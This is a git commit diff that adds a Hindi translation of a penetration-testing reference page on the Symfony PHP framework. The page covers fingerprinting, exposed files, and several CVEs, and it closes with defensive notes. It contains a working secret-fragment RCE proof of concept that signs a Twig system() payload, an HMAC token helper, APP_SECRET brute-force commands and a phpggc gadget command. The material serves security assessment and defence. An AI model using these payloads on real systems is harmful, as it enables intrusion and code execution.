Translated ['src/network-services-pentesting/pentesting-web/symphony.md'

This commit is contained in:
Translator 2025-07-23 10:25:27 +00:00
parent a39d89b6a6
commit a72fd5b71d

View File

@ -2,10 +2,123 @@
{{#include ../../banners/hacktricks-training.md}}
निम्नलिखित पोस्टों पर एक नज़र डालें:
Symfony सबसे व्यापक रूप से उपयोग किए जाने वाले PHP फ्रेमवर्क में से एक है और नियमित रूप से एंटरप्राइज, ई-कॉमर्स और CMS लक्ष्यों (Drupal, Shopware, Ibexa, OroCRM … सभी Symfony घटकों को एम्बेड करते हैं) के आकलनों में दिखाई देता है। यह पृष्ठ आक्रामक सुझावों, सामान्य गलत कॉन्फ़िगरेशन और हाल की कमजोरियों को एकत्र करता है जिन्हें आपको एक Symfony एप्लिकेशन खोजने पर अपनी चेकलिस्ट में शामिल करना चाहिए।
- [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
- [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
- [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
> ऐतिहासिक नोट: पारिस्थितिकी तंत्र का एक बड़ा हिस्सा अभी भी **5.4 LTS** शाखा (EOL **नवंबर 2025**) पर चल रहा है। हमेशा सटीक छोटे संस्करण की पुष्टि करें क्योंकि कई 2023-2025 सुरक्षा सलाहकार केवल पैच रिलीज़ में ठीक किए गए थे (जैसे 5.4.46 → 5.4.50)।
---
## Recon & Enumeration
### Finger-printing
* HTTP प्रतिक्रिया हेडर: `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` या कुकीज़ जो `sf_redirect`, `sf_session`, `MOCKSESSID` से शुरू होती हैं।
* स्रोत कोड लीक (`composer.json`, `composer.lock`, `/vendor/…`) अक्सर सटीक संस्करण प्रकट करते हैं:
```bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
```
* सार्वजनिक मार्ग जो केवल Symfony पर मौजूद हैं:
* `/_profiler` (Symfony **Profiler** & debug toolbar)
* `/_wdt/<token>` (“Web Debug Toolbar”)
* `/_error/{code}.{_format}` (सुंदर त्रुटि पृष्ठ)
* `/app_dev.php`, `/config.php`, `/config_dev.php` (pre-4.0 dev front-controllers)
* Wappalyzer, BuiltWith या ffuf/feroxbuster शब्दसूचियाँ: `symfony.txt``/_fragment`, `/_profiler`, `.env`, `.htaccess` के लिए देखें।
### Interesting files & endpoints
| Path | Why it matters |
|------|----------------|
| `/.env`, `/.env.local`, `/.env.prod` | अक्सर गलत तरीके से तैनात → लीक `APP_SECRET`, DB creds, SMTP, AWS keys |
| `/.git`, `.svn`, `.hg` | स्रोत प्रकटीकरण → क्रेडेंशियल + व्यावसायिक तर्क |
| `/var/log/*.log`, `/log/dev.log` | वेब-रूट गलत कॉन्फ़िगरेशन स्टैक-ट्रेस को उजागर करता है |
| `/_profiler` | पूर्ण अनुरोध इतिहास, कॉन्फ़िगरेशन, सेवा कंटेनर, **APP_SECRET** (≤ 3.4) |
| `/_fragment` | ESI/HInclude द्वारा उपयोग किया जाने वाला प्रवेश बिंदु। एक बार जब आप `APP_SECRET` जानते हैं तो दुरुपयोग संभव है |
| `/vendor/phpunit/phpunit/phpunit` | यदि सुलभ हो तो PHPUnit RCE (CVE-2017-9841) |
| `/index.php/_error/{code}` | Finger-print & कभी-कभी अपवाद ट्रेस लीक |
---
## High-impact Vulnerabilities (2023-2025)
### 1. APP_SECRET disclosure ➜ RCE via `/_fragment` (aka “secret-fragment”)
* **CVE-2019-18889** मूल रूप से, लेकिन *अभी भी* आधुनिक लक्ष्यों पर दिखाई देता है जब डिबग सक्षम छोड़ दिया जाता है या `.env` उजागर होता है।
* एक बार जब आप 32-चर `APP_SECRET` जानते हैं, तो एक HMAC टोकन बनाएं और आंतरिक `render()` नियंत्रक का दुरुपयोग करें ताकि मनमाने Twig को निष्पादित किया जा सके:
```python
# PoC requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
```
* उत्कृष्ट लेखन और शोषण स्क्रिप्ट: Ambionics ब्लॉग (संदर्भ में लिंक किया गया)।
### 2. Windows Process Hijack CVE-2024-51736
* `Process` घटक वर्तमान कार्यशील निर्देशिका को **PATH** से पहले खोजता है Windows पर। एक हमलावर जो एक लिखने योग्य वेब-रूट में `tar.exe`, `cmd.exe`, आदि अपलोड करने में सक्षम है और `Process` को ट्रिगर करता है (जैसे फ़ाइल निष्कर्षण, PDF निर्माण) कमांड निष्पादन प्राप्त करता है।
* 5.4.50, 6.4.14, 7.1.7 में पैच किया गया।
### 3. Session-Fixation CVE-2023-46733
* प्रमाणीकरण गार्ड ने लॉगिन के बाद एक मौजूदा सत्र ID का पुन: उपयोग किया। यदि एक हमलावर कुकी सेट करता है **पहले** पीड़ित प्रमाणीकरण करता है, तो वे लॉगिन के बाद खाते को हाईजैक कर लेते हैं।
### 4. Twig sandbox XSS CVE-2023-46734
* उन अनुप्रयोगों में जो उपयोगकर्ता-नियंत्रित टेम्पलेट्स (व्यवस्थापक CMS, ईमेल बिल्डर) को उजागर करते हैं, `nl2br` फ़िल्टर का दुरुपयोग किया जा सकता है ताकि सैंडबॉक्स को बायपास किया जा सके और JS इंजेक्ट किया जा सके।
### 5. Symfony 1 gadget chains (अभी भी विरासती ऐप्स में पाए जाते हैं)
* `phpggc symfony/1 system id` एक Phar पेलोड उत्पन्न करता है जो RCE को ट्रिगर करता है जब `sfNamespacedParameterHolder` जैसी कक्षाओं पर unserialize() होता है। फ़ाइल-अपलोड अंत बिंदुओं और `phar://` रैपर की जांच करें।
{{#ref}}
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
{{#endref}}
---
## Exploitation Cheat-Sheet
### Calculate HMAC token for `/_fragment`
```bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
```
### कमजोर `APP_SECRET` का ब्रूटफोर्स
```bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
```
### RCE via exposed Symfony Console
यदि `bin/console` `php-fpm` या सीधे CLI अपलोड के माध्यम से पहुँच योग्य है:
```bash
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
```
उपयोग करें deserialization gadgets कैश निर्देशिका के अंदर या एक दुर्भावनापूर्ण Twig टेम्पलेट लिखें जो अगले अनुरोध पर निष्पादित होगा।
---
## रक्षा नोट्स
1. **कभी भी डिबग तैनात न करें** (`APP_ENV=dev`, `APP_DEBUG=1`) उत्पादन में; `/app_dev.php`, `/_profiler`, `/_wdt` को वेब-सेवा कॉन्फ़िगरेशन में ब्लॉक करें।
2. रहस्यों को env vars या `vault/secrets.local.php` में स्टोर करें, *कभी भी* उन फ़ाइलों में नहीं जो दस्तावेज़-रूट के माध्यम से सुलभ हैं।
3. पैच प्रबंधन को लागू करें - Symfony सुरक्षा सलाहकारियों की सदस्यता लें और कम से कम LTS पैच-स्तर बनाए रखें।
4. यदि आप Windows पर चलाते हैं, तो तुरंत अपग्रेड करें ताकि CVE-2024-51736 को कम किया जा सके या `open_basedir`/`disable_functions` रक्षा-गहराई जोड़ें।
---
### उपयोगी आक्रामक उपकरण
* **ambionics/symfony-exploits** secret-fragment RCE, debugger routes discovery.
* **phpggc** Symfony 1 & 2 के लिए तैयार-निर्मित gadget chains।
* **sf-encoder** `_fragment` HMAC (Go implementation) की गणना करने के लिए छोटा सहायक।
## संदर्भ
* [Ambionics Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment)
* [Symfony Security Advisory CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
{{#include ../../banners/hacktricks-training.md}}